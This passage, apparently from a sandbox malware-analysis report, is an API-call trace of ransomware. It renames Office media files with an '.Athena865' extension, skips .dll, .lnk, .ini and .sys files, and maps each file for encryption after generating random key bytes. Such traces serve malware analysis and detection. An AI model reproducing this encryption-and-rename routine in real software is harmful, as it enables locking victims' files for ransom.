Office\\MEDIA\\CAGCAT10\\J0214098.WAV.Athena865") returned 71 [0138.593] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0214098.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0214098.wav.athena865"), dwFlags=0x1) returned 1 [0138.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0214098.wav.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.596] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=26810) returned 1 [0138.596] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.597] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.597] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.597] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6bc0, lpName=0x0) returned 0x154 [0138.599] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6bc0) returned 0x100000 [0138.601] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.602] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.602] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.603] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0215086.WMF" | out: lpString1="J0215086.WMF") returned="J0215086.WMF" [0138.603] lstrlenW (lpString="J0215086.WMF") returned 12 [0138.603] lstrlenW (lpString="Athena865") returned 9 [0138.603] lstrcmpiW (lpString1="15086.WMF", lpString2="Athena865") returned -1 [0138.603] lstrlenW (lpString=".dll") returned 4 [0138.603] lstrcmpiW (lpString1="J0215086.WMF", lpString2=".dll") returned 1 [0138.603] lstrlenW (lpString=".lnk") returned 4 [0138.603] lstrcmpiW (lpString1="J0215086.WMF", lpString2=".lnk") returned 1 [0138.603] lstrlenW (lpString=".ini") returned 4 [0138.603] lstrcmpiW (lpString1="J0215086.WMF", lpString2=".ini") returned 1 [0138.603] lstrlenW (lpString=".sys") returned 4 [0138.603] lstrcmpiW (lpString1="J0215086.WMF", lpString2=".sys") returned 1 [0138.603] lstrlenW (lpString="J0215086.WMF") returned 12 [0138.603] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF.Athena865") returned 71 [0138.603] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0215086.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0215086.wmf.athena865"), dwFlags=0x1) returned 1 [0138.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0215086.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.605] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7482) returned 1 [0138.605] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.605] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.605] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.606] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2040, lpName=0x0) returned 0x154 [0138.608] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2040) returned 0x100000 [0138.610] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.610] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.610] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.611] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0216516.WMF" | out: lpString1="J0216516.WMF") returned="J0216516.WMF" [0138.611] lstrlenW (lpString="J0216516.WMF") returned 12 [0138.611] lstrlenW (lpString="Athena865") returned 9 [0138.611] lstrcmpiW (lpString1="16516.WMF", lpString2="Athena865") returned -1 [0138.611] lstrlenW (lpString=".dll") returned 4 [0138.611] lstrcmpiW (lpString1="J0216516.WMF", lpString2=".dll") returned 1 [0138.611] lstrlenW (lpString=".lnk") returned 4 [0138.611] lstrcmpiW (lpString1="J0216516.WMF", lpString2=".lnk") returned 1 [0138.611] lstrlenW (lpString=".ini") returned 4 [0138.611] lstrcmpiW (lpString1="J0216516.WMF", lpString2=".ini") returned 1 [0138.611] lstrlenW (lpString=".sys") returned 4 [0138.611] lstrcmpiW (lpString1="J0216516.WMF", lpString2=".sys") returned 1 [0138.611] lstrlenW (lpString="J0216516.WMF") returned 12 [0138.611] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF.Athena865") returned 71 [0138.611] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216516.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216516.wmf.athena865"), dwFlags=0x1) returned 1 [0138.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216516.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.613] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12600) returned 1 [0138.613] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.614] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.614] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.614] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3440, lpName=0x0) returned 0x154 [0138.615] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3440) returned 0x100000 [0138.616] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.617] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.617] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.618] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0216588.WMF" | out: lpString1="J0216588.WMF") returned="J0216588.WMF" [0138.618] lstrlenW (lpString="J0216588.WMF") returned 12 [0138.618] lstrlenW (lpString="Athena865") returned 9 [0138.618] lstrcmpiW (lpString1="16588.WMF", lpString2="Athena865") returned -1 [0138.618] lstrlenW (lpString=".dll") returned 4 [0138.618] lstrcmpiW (lpString1="J0216588.WMF", lpString2=".dll") returned 1 [0138.618] lstrlenW (lpString=".lnk") returned 4 [0138.618] lstrcmpiW (lpString1="J0216588.WMF", lpString2=".lnk") returned 1 [0138.618] lstrlenW (lpString=".ini") returned 4 [0138.618] lstrcmpiW (lpString1="J0216588.WMF", lpString2=".ini") returned 1 [0138.618] lstrlenW (lpString=".sys") returned 4 [0138.618] lstrcmpiW (lpString1="J0216588.WMF", lpString2=".sys") returned 1 [0138.618] lstrlenW (lpString="J0216588.WMF") returned 12 [0138.618] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF.Athena865") returned 71 [0138.618] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216588.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216588.wmf.athena865"), dwFlags=0x1) returned 1 [0138.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216588.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.620] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7174) returned 1 [0138.620] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.621] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.621] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.621] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f10, lpName=0x0) returned 0x154 [0138.622] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f10) returned 0x100000 [0138.623] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.624] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.624] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.624] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0216724.WMF" | out: lpString1="J0216724.WMF") returned="J0216724.WMF" [0138.624] lstrlenW (lpString="J0216724.WMF") returned 12 [0138.624] lstrlenW (lpString="Athena865") returned 9 [0138.624] lstrcmpiW (lpString1="16724.WMF", lpString2="Athena865") returned -1 [0138.624] lstrlenW (lpString=".dll") returned 4 [0138.624] lstrcmpiW (lpString1="J0216724.WMF", lpString2=".dll") returned 1 [0138.625] lstrlenW (lpString=".lnk") returned 4 [0138.625] lstrcmpiW (lpString1="J0216724.WMF", lpString2=".lnk") returned 1 [0138.625] lstrlenW (lpString=".ini") returned 4 [0138.625] lstrcmpiW (lpString1="J0216724.WMF", lpString2=".ini") returned 1 [0138.625] lstrlenW (lpString=".sys") returned 4 [0138.625] lstrcmpiW (lpString1="J0216724.WMF", lpString2=".sys") returned 1 [0138.625] lstrlenW (lpString="J0216724.WMF") returned 12 [0138.625] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF.Athena865") returned 71 [0138.625] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216724.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216724.wmf.athena865"), dwFlags=0x1) returned 1 [0138.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216724.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.627] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=23928) returned 1 [0138.627] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.628] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.628] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.628] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6080, lpName=0x0) returned 0x154 [0138.629] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6080) returned 0x100000 [0138.631] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.631] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.631] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.632] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0216858.WMF" | out: lpString1="J0216858.WMF") returned="J0216858.WMF" [0138.632] lstrlenW (lpString="J0216858.WMF") returned 12 [0138.632] lstrlenW (lpString="Athena865") returned 9 [0138.632] lstrcmpiW (lpString1="16858.WMF", lpString2="Athena865") returned -1 [0138.632] lstrlenW (lpString=".dll") returned 4 [0138.632] lstrcmpiW (lpString1="J0216858.WMF", lpString2=".dll") returned 1 [0138.632] lstrlenW (lpString=".lnk") returned 4 [0138.632] lstrcmpiW (lpString1="J0216858.WMF", lpString2=".lnk") returned 1 [0138.632] lstrlenW (lpString=".ini") returned 4 [0138.632] lstrcmpiW (lpString1="J0216858.WMF", lpString2=".ini") returned 1 [0138.632] lstrlenW (lpString=".sys") returned 4 [0138.632] lstrcmpiW (lpString1="J0216858.WMF", lpString2=".sys") returned 1 [0138.632] lstrlenW (lpString="J0216858.WMF") returned 12 [0138.633] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF.Athena865") returned 71 [0138.633] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216858.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216858.wmf.athena865"), dwFlags=0x1) returned 1 [0138.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216858.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.634] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11716) returned 1 [0138.634] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.635] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.635] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.635] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x30d0, lpName=0x0) returned 0x154 [0138.637] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x30d0) returned 0x100000 [0138.638] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.638] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.638] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.639] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0217698.WMF" | out: lpString1="J0217698.WMF") returned="J0217698.WMF" [0138.639] lstrlenW (lpString="J0217698.WMF") returned 12 [0138.639] lstrlenW (lpString="Athena865") returned 9 [0138.639] lstrcmpiW (lpString1="17698.WMF", lpString2="Athena865") returned -1 [0138.639] lstrlenW (lpString=".dll") returned 4 [0138.639] lstrcmpiW (lpString1="J0217698.WMF", lpString2=".dll") returned 1 [0138.639] lstrlenW (lpString=".lnk") returned 4 [0138.639] lstrcmpiW (lpString1="J0217698.WMF", lpString2=".lnk") returned 1 [0138.639] lstrlenW (lpString=".ini") returned 4 [0138.639] lstrcmpiW (lpString1="J0217698.WMF", lpString2=".ini") returned 1 [0138.639] lstrlenW (lpString=".sys") returned 4 [0138.639] lstrcmpiW (lpString1="J0217698.WMF", lpString2=".sys") returned 1 [0138.639] lstrlenW (lpString="J0217698.WMF") returned 12 [0138.639] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF.Athena865") returned 71 [0138.640] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0217698.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0217698.wmf.athena865"), dwFlags=0x1) returned 1 [0138.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0217698.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.641] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6890) returned 1 [0138.641] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.642] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.642] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.642] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1df0, lpName=0x0) returned 0x154 [0138.643] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1df0) returned 0x100000 [0138.644] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.645] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.645] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.646] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0221903.WMF" | out: lpString1="J0221903.WMF") returned="J0221903.WMF" [0138.646] lstrlenW (lpString="J0221903.WMF") returned 12 [0138.646] lstrlenW (lpString="Athena865") returned 9 [0138.646] lstrcmpiW (lpString1="21903.WMF", lpString2="Athena865") returned -1 [0138.646] lstrlenW (lpString=".dll") returned 4 [0138.646] lstrcmpiW (lpString1="J0221903.WMF", lpString2=".dll") returned 1 [0138.646] lstrlenW (lpString=".lnk") returned 4 [0138.646] lstrcmpiW (lpString1="J0221903.WMF", lpString2=".lnk") returned 1 [0138.646] lstrlenW (lpString=".ini") returned 4 [0138.646] lstrcmpiW (lpString1="J0221903.WMF", lpString2=".ini") returned 1 [0138.646] lstrlenW (lpString=".sys") returned 4 [0138.646] lstrcmpiW (lpString1="J0221903.WMF", lpString2=".sys") returned 1 [0138.646] lstrlenW (lpString="J0221903.WMF") returned 12 [0138.646] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF.Athena865") returned 71 [0138.646] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0221903.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0221903.wmf.athena865"), dwFlags=0x1) returned 1 [0138.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0221903.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.648] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14392) returned 1 [0138.648] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.648] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.648] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.649] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b40, lpName=0x0) returned 0x154 [0138.650] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b40) returned 0x100000 [0138.651] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.652] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.652] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.653] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0222015.WMF" | out: lpString1="J0222015.WMF") returned="J0222015.WMF" [0138.653] lstrlenW (lpString="J0222015.WMF") returned 12 [0138.653] lstrlenW (lpString="Athena865") returned 9 [0138.653] lstrcmpiW (lpString1="22015.WMF", lpString2="Athena865") returned -1 [0138.653] lstrlenW (lpString=".dll") returned 4 [0138.653] lstrcmpiW (lpString1="J0222015.WMF", lpString2=".dll") returned 1 [0138.653] lstrlenW (lpString=".lnk") returned 4 [0138.653] lstrcmpiW (lpString1="J0222015.WMF", lpString2=".lnk") returned 1 [0138.653] lstrlenW (lpString=".ini") returned 4 [0138.653] lstrcmpiW (lpString1="J0222015.WMF", lpString2=".ini") returned 1 [0138.653] lstrlenW (lpString=".sys") returned 4 [0138.653] lstrcmpiW (lpString1="J0222015.WMF", lpString2=".sys") returned 1 [0138.653] lstrlenW (lpString="J0222015.WMF") returned 12 [0138.653] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF.Athena865") returned 71 [0138.653] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222015.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222015.wmf.athena865"), dwFlags=0x1) returned 1 [0138.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222015.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.655] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1930) returned 1 [0138.655] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.656] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.656] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.656] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa90, lpName=0x0) returned 0x154 [0138.659] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa90) returned 0x100000 [0138.660] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.661] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.661] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.661] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0222017.WMF" | out: lpString1="J0222017.WMF") returned="J0222017.WMF" [0138.661] lstrlenW (lpString="J0222017.WMF") returned 12 [0138.661] lstrlenW (lpString="Athena865") returned 9 [0138.661] lstrcmpiW (lpString1="22017.WMF", lpString2="Athena865") returned -1 [0138.661] lstrlenW (lpString=".dll") returned 4 [0138.661] 